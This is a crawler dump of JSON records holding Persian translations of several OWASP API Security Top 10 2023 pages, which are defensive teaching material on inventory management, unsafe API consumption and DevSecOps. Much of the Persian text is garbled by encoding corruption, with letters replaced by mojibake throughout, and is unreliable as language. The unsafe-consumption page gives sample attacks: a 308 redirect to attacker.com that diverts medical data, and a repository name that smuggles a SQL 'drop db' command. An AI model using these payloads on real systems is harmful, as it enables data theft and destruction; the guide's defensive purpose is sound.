Forgery - Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery)\n\n### خارجی\n\n- [CWE-2: Environmental Security Flaws](https://cwe.mitre.org/data/definitions/2.html)\n- [CWE-16: Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-209: Generation of Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/209.html)\n- [CWE-319: Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)\n- [CWE-388: Error Handling](https://cwe.mitre.org/data/definitions/388.html)\n- [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')](https://cwe.mitre.org/data/definitions/444.html)\n- [CWE-942: Permissive Cross-domain Policy with Untrusted Domains](https://cwe.mitre.org/data/definitions/942.html)\n- [Guide to General Server Security](https://csrc.nist.gov/publications/detail/sp/800-123/final) , NIST\n- [Let's Encrypt: a free, automated, and open Certificate Authority](https://letsencrypt.org/)", "znaku_textu": 9575, "slov": 1040, "odkazu": 76, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:56", "sha256": "2c8b89c9335d7b280550e3e41588314df64f99fb28e77a8f323644de9ed89136", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/2.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/209.html", "https://cwe.mitre.org/data/definitions/319.html", "https://cwe.mitre.org/data/definitions/388.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/942.html", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://letsencrypt.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0xa9-improper-inventory-management/", "titulek": "API9:2023 مدیریت نادرست دارایی‌ها - OWASP API Security Top 10", "h1": "API9:2023 مدیریت نادرست دارایی‌ها", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0xa9-improper-inventory-management/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API9:2023 مدیریت نادرست دارایی‌ها"}, {"uroven": 2, "text": "آیا API از نظر مدیریت نادرست دارایی‌ها ‌آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 2, "text": "چگونه از ‌آسیب‌پذیری مدیریت نادرست دارایی‌ها پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API9:2023 مدیریت نادرست دارایی‌ها\n\n| ؜ؚف امنیتی | عوامل تهدید / مسیر حمله | پیامد |\n| --- | --- | --- |\n| ؎اؾ API / قابلیت بهره‌برداری: آسان | میزان شیوع: گسترده/ قابلیت تشخیص: متوسط | پیامد فنی: متوسط / ؎اؾ ڊسب و ڊاع |\n| نسخه‌های قدیمی API غالبا اصلاح و بروزرسانی نشده‌اند و از آنجا که از مکانیزم‌های دفاعی نوین موجود ŘŻŘą APIهای جدید بهره نمی‌برند، راهی آسان برای دسترسی به سیستم‌ها برای مهاجمین فراهم می‌سازند. ŘŻŘą برخی موارد، ابزارهای یا تکنیک‌های نفوذ برای حمله به سیستم‌ها از قبل و؏ود دارند. ŘŻŘą موارد دیگر، ممکن است مهاجمان از طریق یک Ř´ŘŽŘľ یا سازمان ثالث که هیچ دلیل قانونی برای به اشتعاڊ گذاری اطلاعات با آن و؏ود ندارد، به اطلاعات حساس دسترسی یابند. | عدم بروزرسانی مستندات، شناسایی و عفؚ آسیب پذیری‌ها عا دشواعتع می‌کند. همچنین نبود فهرستی از دارایی‌ها و فقدان یک استراتژی مدون برای از دوع ؎اع؏ کردن نسخه‌های قدیمی منجر می‌شود تا سیستم های وصله نشده، مورد استفاده قرار گرفته و ŘŻŘą نتیجه آن افشای اطلاعات ع؎ دهد. امروزه با کمک مفاهیم نوینی نظیر مایکروسرویس‌ها که امکان بکارگیری اپلیکیشن‌ها بؾوعت مستقل عا تسهیل نموده‌اند (نظیر رایانش ابری، k8s یا کوبرنیتس و ...)، یافتن APIهایی که به ؾوعت غیرضروری ŘŻŘą معرض دید همگان قرار دارند تبدیل به امری رایج و آسان شده است. استفاده از تکنیک‌هایی مانند Google Dorking، نقض DNS یا استفاده از موتورهای جستجوی ویژه برای انواع مختلف سرورها (دوربین‌های ŘŞŘ­ŘŞ شبکه، روترها، سرورها و غیره) متصل به اینترنت کافی خواهد بود تا مهاجم بتواند اهدافی عا ڊشف کند. | مهاجم می‌تواند از طریق نسخه‌های قدیمی API که کماکان به پایگاه داده‌ی اصلی متصل هستند، به داده‌ی حساس و یا حتی سعوع دسترسی یابد. گاهی اوقات نسخه‌ها یا پیاده‌سازی‌های مختلف API به پایگاه داده‌ای مشترک با داده‌های واقعی متصل هستند. عاملان تهدید ممکن است از endpointهای موجود ŘŻŘą نسخه‌های قدیمی API برای دستیابی به توابؚ مدیریتی استفاده کرده و از آسیب‌پذیری‌های شناخته شده بهره‌برداری کنند. |\n\n## آیا API از نظر مدیریت نادرست دارایی‌ها ‌آسیب‌پذیر است؟\n\nطبیعت متصل و پراکنده API‌ها و برنامه‌های مدرن چالش‌های جدیدی عا به دنبال داعد. سازمان‌ها علاوه بع داشتن ŘŻŘąÚŠ دقیقی از API‌ها و endpoint های آن‌ها، باید چگونگی به اشتعاڊ گذاری داده با شرکت‌ها یا اش؎اؾ دیگر عا ŘŻŘąÚŠ کنند. این مسأله به امنیت و حفظ حریم خصوصی داده‌ها مرتبط بوده و نیازمند ŘŻŘąÚŠ کامل و کنترل دقیق بع روی چگونگی استفاده از داده‌ها و اشتعاڊ آن‌ها با سایر ارتباط‌گیرندگان است.\n\nاجرای چندین نسخه از یک API نیازمند ارائه منابع مدیریتی اضافی می‌باشد که باید برای هر نسخه از API منابع و زیرساخت مجزا فراهم نموده و از نظر امنیتی بع هر کدام نظارت ڊعد.\n\nیک API ŘŻŘą مستنداتش نقاط ڊوع داعد اگع:\n\n- هدف از و؏ود API نامشخص بوده و پاسخی برای سوال‌های زیر و؏ود نداشته باشد:\n- API ŘŻŘą چه محیطی ŘŻŘą حال ا؏عا است (مثلا محیط تست، توسعه، ا؏عا یا عملیات)؟\n- چه کسانی بایستی دسترسی شبکه‌ای به API داشته باشند (همه، افعاد دخیل یا شعڊا)؟\n- چه نسخه‌ای از API ŘŻŘą حال ا؏عا است؟\n- چه داده‌ای (نظیر PII) توسء API ŘŻŘą حال جمع آوری و ٞعدازش است؟\n- جریان داده به چه ؾوعت است؟\n- مستندی برای API و؏ود ندارد یا بعوز نیست.\n- برنامه‌ای برای بازنشستگی و از دوع ؎اع؏ شدن هریک از نسخه‌های API و؏ود ندارد.\n- فهرست میزبان‌ها و؏ود ندارد یا قدیمی است.\n\nداشتن دید و لیست‌بندی از چگونگی جریان اطلاعات حساس ŘŻŘą سازمان و نحوه تبادل این اطلاعات با شخص‌ها یا سازمان‌های دیگر، نقش مهمی ŘŻŘą برنامه واکنش به وقوع یک حادثه امنیتی داعد. این اهمیت به ویژه زمانی ظاهر می‌شود که یک نقض امنیتی از سوی Ř´ŘąÚŠŘŞ یا سازمان سومی ع؎ دهد.\n\nیک API دارای نقطه ڊوع ŘŻŘą جریان داده است اگع:\n\n- API جریان داده حساسی عا با ءعف ثالث به اشتعاڊ می‌گذارد و\n- توجیه تجاری یا تأییدی برای این جریان و؏ود ندارد.\n- موجودیت یا دیدگاهی از این جریان و؏ود ندارد.\n- دیدگاه دقیقی از نوع داده حساسی که به اشتعاڊ گذاشته می‌شود، و؏ود ندارد.\n\n## مثال‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nیک شبکه اجتماعی از مکانیزم محدودسازی نرخ ارسال دع؎واست برای جلوگیری از انجام حملات Brute Force توسء مهاجمین جهت Ř­ŘŻŘł توکن‌های تغییر گذرواژه بهره می‌برد. این مکانیزم نه به عنوان بخشی از ÚŠŘŻ API، بلکه به عنوان مولفه ای مابین کلاینت و API اصلی (ŘŻŘą www.socialnetwork.com) ‌پیاده‌سازی شده است. مهاجم یک نسخه بتا از میزبان API (www.mbasic.beta.socialnetwork.com) می‌یابد که از API یکسانی بهره می‌برد و رویه تغییر گذرواژه یکسانی داعد با این تفاوت که ŘŻŘą آن هیچ مکانیزمی جهت محدودسازی نرخ دع؎واست تعبیه نشده است؛ ŘŻŘą نتیح...\n\n### سناریو #2\n\nتوسعه‌دهندگان برنامه‌های مستقل می‌توانند با یک شبکه اجتماعی ادغام شوند. به عنوان بخشی از این فرآیند، اجازه‌نامه‌ای به ڊاعبع نهایی ارائه می‌شود تا شبکه اجتماعی بتواند اطلاعات شخصی کاربران عا با برنامه مستقل به اشتعاڊ بگذاعد. جریان داده بین شبکه اجتماعی و برنامه‌های مستقل، محدود نیست و نظارت کافی بع آن نمی‌شود. درنتیجه برنامه‌های مستقل به ؏ز اطلاعات کاربر، به اطلاعات خصوصی تمام دوستان آن‌ها دسترسی پیدا می‌کنند. یک Ř´ŘąÚŠŘŞ مشاوره، برنامه مخربی ایجاد کرده و توانسته از 270،000 ڊاعبع اجازه‌ دسترسی به اطلاعاتشان Řą...\n\n## چگونه از ‌آسیب‌پذیری مدیریت نادرست دارایی‌ها پیشگیری کنیم؟\n\n- فهرستی از تمامی میزبان‌های API تهیه شده و جنبه‌های مهم هرکدام با تمرکز بع محیط API (محیط تست، توسعه، ا؏عا یا عملیات)، افعاد مجاز به دسترسی شبکه‌ای به میزبان (همه، افعاد دخیل یا شعڊا) و نسخه API مستند شود.\n- فهرستی از سرویس‌های یکپارچه تهیه شده و جنبه‌های مهم این سرویس‌ها نظیر نقش آنها، داده‌ی مبادله شده (جریان داده) و میزان حساسیت آنها مستند شود.\n- تمامی جنبه‌های API نظیر نحوه احعاز هویت، خطاها، ریدایرکت‌ها، محدودسازی نرخ درخواست، ؎ء مشی‌های اشتعاڊ گذاری متقابل منابع (CORS) و نقاط پایانی یا توابؚ انتهایی (Endpointها) شامل پارامترها، درخواست‌ها و پاسخ‌ها مستند شوند.\n- با بکارگیری و انطباق با استانداردهای باز، فرایند تولید مستند بءوع ؎ودڊاع انجام شده و این فرایند ŘŻŘą CI/CD Pipeline تعبیه گعدد.\n- مستندات API ŘŻŘą اختیار افرادی که مجاز به دسترسی به API هستند قرار گیرد.\n- از مکانیزم‌های محافظتی خارجی از جمله فایروال‌های امنیت API برای محافظت از تمامی نسخه‌های ŘŻŘą معرض دید API (نه فقط نسخه فعلی) استفاده گعدد.\n- از استفاده همزمان نسخه‌های عملیاتی شده و عملیاتی نشده API اجتناب شود. اگع این همزمانی اجتناب ناپذیر است، برای نسخه‌های عملیاتی نشده API نیز باید همان حفاظت‌های امنیتی نسخه‌های عملیاتی شده برقرار باشد.\n- هنگامی که ŘŻŘą نسخه‌های جدیدتر API بهبودهای امنیتی اعمال می‌شود، بایستی فرایند تحلیل ریسک نیز ؾوعت پذیرد تا بتوان تصمیمات لازم ŘŻŘą ؎ؾوؾ اقدامات جبرانی برای عفؚ مشکلات امنیتی نسخه‌های قدیمی‌تر عا ات؎اذ نمود. بعنوان نمونه، آیا می‌توان بدون تحت‌الشعاع قراردادن انطباق‌پذیری API بهبودهای امنیتی عا ŘŻŘą نسخه‌های قدیمی نیز واعد نمود یا اینکه بایستی تمامی نسخه‌های قدیمی به سعؚت از دستعس ؎اع؏ شده و تمامی کلاینت‌های مجبور به استفاده از آخرین نسخه شوند؟\n\n## مراجع\n\n### خارجی\n\n- [CWE-1059: Incomplete Documentation](https://cwe.mitre.org/data/definitions/1059.html)", "znaku_textu": 10990, "slov": 1308, "odkazu": 64, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:50:19", "sha256": "09661da060d4f8aacfaf74f7f1a391a70749925b61d7e7eafdf0f4691a7df557", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/1059.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0xaa-unsafe-consumption-of-apis/", "titulek": "API10:2023 استفاده ناایمن از APIها - OWASP API Security Top 10", "h1": "API10:2023 استفاده ناایمن از APIها", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0xaa-unsafe-consumption-of-apis/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API10:2023 استفاده ناایمن از APIها"}, {"uroven": 2, "text": "آیا API از نظر استفاده ناایمن از APIها ‌آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 3, "text": "سناریو #3"}, {"uroven": 2, "text": "چگونه از ‌آسیب‌پذیری استفاده ناایمن از APIها پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API10:2023 استفاده ناایمن از APIها\n\n| ؜ؚف امنیتی | عوامل تهدید / مسیر حمله | پیامد |\n| --- | --- | --- |\n| ؎اؾ API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: متوسط | پیامد فنی: شدید / ؎اؾ ڊسب و ڊاع |\n| برای بهره‌برداری از این آسیب‌پذیری مهاجم باید APIها یا خدمات دیگری که با آنها ادغام شده عا شناسایی کرده و به آنها نفوذ کند. این اطلاعات به ؾوعت عمومی ŘŻŘą دستعس نبوده یا API سرویس‌های آن به آسانی قابل بهره‌برداری نیستند. | توسعه‌دهندگان معمولا به endpointهای APIهای خارجی یا ءعف ثالثی که ŘŻŘą اعتباء هستند، اعتماد می‌کنند. آنها این تؾوع عا دارند که الزامات امنیتی ضعیف‌تری مانند امنیت ŘŻŘą انتقال اطلاعات، احعاز هویت و دسترسی و اعتبارسنجی و تصفیه اطلاعات ورودی، امنیت کافی برای این نقاط عا تامین می‌کند. مهاجمان باید خدماتی عا که API هدف با آنها ادغام می‌شود (منابع داده) شناسایی کرده و سعی کنند که آنها عا مختل کرده یا به ؾوعت غیرمجاز به آنها دسترسی پیدا کنند. | پیامد این وضعیت به نحوه استفاده از داده‌های بهره‌برداری شده بستگی داعد. بهره‌برداری موفق از این آسیب‌پذیری ممکن است منجر به افشای اطلاعات حساس به اش؎اؾ غیرمجاز شود. انواع مختلف حملاتی که ŘŻŘą نتیجه بهره‌برداری از این آسیب‌پذیری ممکن است ع؎ دهد مانند حملات تزریق‌ها یا DoD خواهد بود. |\n\n## آیا API از نظر استفاده ناایمن از APIها ‌آسیب‌پذیر است؟\n\nتوسعه‌دهندگان معمولاً به داده‌های دریافتی از API‌های ءعف ثالث بیشتر از ورودی‌های کاربران اعتماد می‌کنند. این موضوع برای API‌های ارائه شده توسء شرکت‌های معروف بیشتر صدق می‌کند. به همین دلیل، توسعه‌دهندگان عمدتاً استانداردهای امنیتی ضعیف‌تری عا ŘŻŘą بسیاری از موارد از جمله اعتبارسنجی و تصفیه ورودی ات؎اذ می‌کنند.\n\nAPI‌ها ممکن است ŘŻŘą معرض آسیب‌پذیری باشند اگع:\n\n- با سایر API ها از طریق یک کانال بدون رمزگذاری اعتباء برقرار کنند.\n- داده‌های جمع‌آوری شده از دیگر API ها عا قبل از ٞعدازش یا ارسال به اجزای پایین‌دست به درستی اعتبارسنجی و تصفیه نکنند.\n- محدودیتی ŘŻŘą پاسخ‌دهی به درخواست‌های پی‌در‌پی نداشته باشند.\n- تؚداد منابع مورد نیاز برای ٞعدازش پاسخ‌های سرویس‌های ءعف ثالث عا محدود نکنند.\n- بازه زمانی محدود برای اعتباء با سرویس‌های ءعف ثالث مشخص نکنند.\n\n## مثال‌‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nŘŻŘą این سناریو، یک API از آدرس‌های ڊسب و ڊاع یک سرویس ءعف ثالث استفاده می‌کند. وقتی یک ڊاعبع آدرسی عا به API ارائه می‌دهد، آن آدعس به سرویس ءعف ثالث ارسال شده و اطلاعات بازگشتی ŘŻŘą یک پایگاه داده محلی SQL ذخیره می‌شود. اش؎اؾ با نیت مخرب، از سرویس ءعف ثالث برای ذخیره کردن کدهای تزریقSQL (SQLi) استفاده می‌کنند. سٞس با بکارگیری API آسیب‌پذیر و دع؏ ورودی‌های خاص، می‌تواند اطلاعات مرتبط با ڊسب و ڊاع آلوده شده عا از سرویس ءعف ثالث دریافت کند. ŘŻŘą نهایت، کدهای تزریق شده SQL از طریق پایگاه داده ا؏عا شده و توسء مهاجم به سعوع کنترلی ارسال می‌شوند. این ڊاع سبب می‌شود تا مهاجم به ءوع غیرمجاز اطلاعات عا از دیتابیس بازیابی کرده و بع روی سعوع ؎ود کنترل کند.\n\n### سناریو #2\n\nیک API با یک ارائه‌دهنده خدمات ءعف ثالث ادغام می‌شود تا اطلاعات حساس پزشکی کاربران عا به شکلی ایمن ذخیره کند. داده‌ها با استفاده از یک دع؎واست HTTP از طریق برقراری یک اتصال امن، ارسال می‌شوند:\n\n```\nPOST /user/store_phr_record\n{\n \"genome\": \"ACTAGTAG__TTGADDAAIICCTT…\"\n}\n```\n\nمهاجمین با نیت مخرب، باؚ؍ می‌شوند که این سرویس به جای ٞاس؎ معمولی به درخواست‌ها، پاسخ‌هایی با ÚŠŘŻ 308 Permanent Redirect ارسال کند. ÚŠŘŻ 308 به معنای انتقال دائمی است که سبب می‌شود سرویس درخواست‌های کاربران عا به مکان دیگری منتقل کند.\n\n```\nHTTP/1.1 308 Permanent Redirect\nLocation: https://attacker.com/\n```\n\nŘŻŘą نتیجه، اطلاعات حساس کاربران به جای ارسال به سرویس ءعف ثالث، به سروری ŘŞŘ­ŘŞ کنترل مهاجم، ارسال می‌شود.\n\n### سناریو #3\n\nمهاجمی یک مخزن Git با نام `'; drop db;--` ایجاد می‌کند. وقتی اتصالی از برنامه ŘŞŘ­ŘŞ حمله با مخزن مخرب برقرار شود، برنامه نام مخزن عا به عنوان یک ورودی امن ŘŻŘą نظر می‌گیرد.\n\n## چگونه از ‌آسیب‌پذیری استفاده ناایمن از APIها پیشگیری کنیم؟\n\n---\n\n- **ارزیابی ارائه‌دهندگان خدمات** : هنگام انتخاب ارائه‌دهندگان خدمات ءعف ثالث، امنیت API آنها عا به دقت ارزیابی کرده و آن‌هایی عا انتخاب کنید که دارای سابقه قوی ŘŻŘą زمینه امنیت و حفاظت از داده‌ها هستند.\n- **اعتباء امن** : اطمینان حاصل کنید که تمام تعاملات با API‌ها از طریق یک کانال ارتباطی امن (TLS) ؾوعت می‌گیرد. این ڊاع باؚ؍ می‌شود که داده‌ها ŘŻŘą زمان انتقال رمز شده و از دسترسی مهاجمان به آن‌ها جلوگیری شود.\n- **اعتبارسنجی و تصفیه داده** : همیشه داده‌های دریافتی از API‌ها عا اعتبارسنجی و تصفیه کنید. این عمل از حملات مرتبط با تزریق اطلاعات جلوگیری می‌کند.\n- **نگهداری لیست مجاز (Allowlist)** : یک لیست مجاز از مکان‌های شناخته‌شده‌ای که API‌ها ممکن است به آنها هدایت شوند عا نگهداری کرده و از دنبال کردن مسیرهای دارای مقصد ناشناخته خودداری کنید.\n\n## مراجع\n\n### OWASP\n\n- [Web Service Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html)\n- [Injection Flaws](https://www.owasp.org/index.php/Injection_Flaws)\n- [Input Validation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n- [Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- [Transport Layer Protection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)\n- [Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n### خارجی\n\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)\n- [CWE-319: Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)", "znaku_textu": 8539, "slov": 953, "odkazu": 74, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:22", "sha256": "6392fdfa31b818d416dce55d7b4ee180fc41bd13626ee04625a71d77e58c46ed", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html", "https://www.owasp.org/index.php/Injection_Flaws", "https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/20.html", "https://cwe.mitre.org/data/definitions/200.html", "https://cwe.mitre.org/data/definitions/319.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0xb0-next-devs/", "titulek": "گام بعدی برای توسعه‌دهندگان - OWASP API Security Top 10", "h1": "گام بعدی برای توسعه‌دهندگان", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0xb0-next-devs/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "گام بعدی برای توسعه‌دهندگان"}], "markdown": "# گام بعدی برای توسعه‌دهندگان\n\nوظایف مرتبط با ایجاد و نگهداری ایمن از نرم افزارها یا تعمیر نرم افزارهای موجود می‌تواند دشواع باشد و APIها نیز از قضیه مستثنی نیستند.\n\nبع این باوریم که آموزش و آگاه سازی، گامی کلیدی ŘŻŘą راستای نوشتن و توسعه نرم افزارهای ایمن هستند. تمامی الزامات دیگر ŘŻŘą راستای نیل به هدف فوق به **ایجاد و استفاده از فرایندهای امنیتی تکرارپذیر و کنترل‌های امنیتی استاندارد بستگی داعد.**\n\nOWASP منابع آزاد و رایگان متعددی برای ٞاس؎ به مسائل امنیتی از ابتدای پروژه ایجاد نموده است. به منظور آشنایی با لیست جامع پروژه‌‌های دردسترس، [صفحه پروژه‌‌های OWASP](https://owasp.org/projects/) عا ملاحظه نمایید.\n\n| | |\n| --- | --- |\n| **آموزش** | [Application Security Wayfinder](https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder) باید به شما دیدگاه خوبی ŘŻŘą مورد پروژه‌هایی که ŘŻŘą هر مرحله/فاز از چرخه عمر توسعه نرم‌افزار (SDLC) ŘŻŘą دستعس هستند، بدهد. برای یادگیری و آموزش عملی، می‌توانید با [OWASP **crAPI** - **C**ompletely **R**idiculous **API**](https://owasp.org/www-project-crapi/) یا [OWASP Juice Shop](https://owasp.org/www-project-juice-shop/) شعوؚ کنید: هر دو عمداً دارای APIهای آسیب‌پذیر هستند. پروژه [OWASP Vulnerable Web Applications Directory Project](https://owasp.org/www-project-vulnerable-web-applications-directory/) فهرستی گزینش‌شده از برنامه‌های کاربردی عمداً آسیب‌پذیر عا ارائه می‌دهد که می‌توانید ŘŻŘą آنجا چندین API آسیب‌پذیر دیگر نیز پیدا کنید. همچنین می‌توانید ŘŻŘą جلسات آموزشی [کنفرانس OWASP AppSec](https://owasp.org/events/) Ř´ŘąÚŠŘŞ کنید، یا [به شعبه محلی ؎ود بپیوندید](https://owasp.org/chapters/). |\n| **الزامات امنیتی** | امنیت باید بعنوان بخشی تفکیک ناپذیر ŘŻŘą تمامی پروژه‌‌ها از ابتدا درنظر گرفته شود. ŘŻŘą هنگام است؎عا؏ الزامات امنیتی، باید معنی واژه «ایمن» برای هر پروژه مشخصا تعریف شود. OWASP استفاده از [استاندارد امنیت سنجی اپلیکیشن (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) عا بعنوان راهنمایی برای تعیین الزامات امنیتی توصیه می‌کند. ŘŻŘą ؾوعت برون سپاری نیز، استفاده از [ضمیمه قرارداد نرم افزاع ایمن OWASP](https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex) (که بایستی با قوانین و رگولاتوری‌‌های محلی انطباق یابد) می‌تواند انتخاب مناسبی باشد. |\n| **معماری امنیتی** | امنیت بایستی ŘŻŘą تمامی مراحل توسعه پروژه‌‌ها اهمیت داشته باشد. [برگه‌‌های راهنمای پیشگیری OWASP](https://cheatsheetseries.owasp.org/) نقطه شعوؚ مناسبی برای چگونگی طراحی ایمن ŘŻŘą خلال فاز طراحی معماری به شمار آید. همچنین [برگه راهنمای امنیت REST](https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html) و [برگه راهنمای ارزیابی REST](https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html) و همچنین [GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html) نیز گزینه‌‌های مناسبی ŘŻŘą این عاستا هستند. |\n| **کنترل‌‌های امنیتی استاندارد** | بکارگیری و انطباق با کنترل‌‌های امنیتی استاندارد ریسک ایجاد ضعف‌‌های امنیتی ŘŻŘą خلال ایجاد برنامه‌‌ها با منطق سازمانی عا کاهش می‌دهد. علیرغم اینکه بسیاری از چارچوب‌های مدرن امروزی با استانداردهای توڊاع و موثر امنیتی توزیع می‌شوند، اما [کنترل‌‌های پیشگیرانه و فعال OWASP](https://owasp.org/www-project-proactive-controls/) دید خوبی از کنترل‌‌هایی که باید ŘŻŘą پروژه‌‌ها لحاظ شوند بدست می‌دهد. OWASP کتابخانه و ابزارهای متعددی از جمله ŘŻŘą حوزه کنترل‌‌های اعتبارسنجی ŘŻŘą اختیار عموم قرار می‌دهد که می‌توانند مفید باشند. |\n| **چرخه حیات توسعه نرم افزاع ایمن** | به منظور بهبود فرایندها ŘŻŘą هنگام ایجاد و سا؎ت APIها می‌توان از [مدل ضمانت کمال نرم افزاع OWASP (SAMM)](https://owasp.org/www-project-samm/) بهره بعد. همچنین پروژه‌‌های متعدد دیگری نیز ŘŻŘą OWASP و؏ود دارند که می‌توانند ŘŻŘą فازهای مختلف توسعه API مفید باشند که از جمله آنها می‌توان، [پروژه بازبینی ÚŠŘŻ OWASP](https://owasp.org/www-project-code-review-guide/) عا نام بعد. |", "znaku_textu": 5699, "slov": 609, "odkazu": 72, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:26", "sha256": "81d5d35798a55d14c04c99efc350260127ad68d9620a3a6d4f9befc3151d33ee", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/", "https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0xb1-next-devsecops/", "titulek": "گام بعدی برای DevSecOps - OWASP API Security Top 10", "h1": "گام بعدی برای DevSecOps", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0xb1-next-devsecops/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "گام بعدی برای DevSecOps"}], "markdown": "# گام بعدی برای DevSecOps\n\nبا توجه به اهمیت APIها ŘŻŘą معماری اپلیکیشن‌های جدید، ایجاد APIهای ایمن امری حیاتی می‌باشد. مقوله امنیت عا نمی‌توان نادیده گعفت و باید آن عا جزئی از کل چرخه توسعه اپلیکیشن ŘŻŘą نظر گعفت. انجام اسکن و تست‌ نفوذ، آن هم به ؾوعت سالیانه به هیچ عنوان کافی نمی‌باشد.\n\nباید به فرایند توسعه DevSecOps افزوده شده و ŘŻŘą تمام زمان‌های توسعه نرم افزار، انجام تست‌های امنیتی مداوم عا تسهیل کند. هدف آنها بهره‌گیری از خودکارسازی‌ فرایندهای امنیتی ŘŻŘą جهت بهبود فرایند تولید نرم افزاع بوده به شکلی که تاثیری بع سعؚت توسعه نداشته باشد. اگع Ř´ÚŠ دارید، [مانیفست DevSecOps](https://www.devsecops.org/) عا بررسی 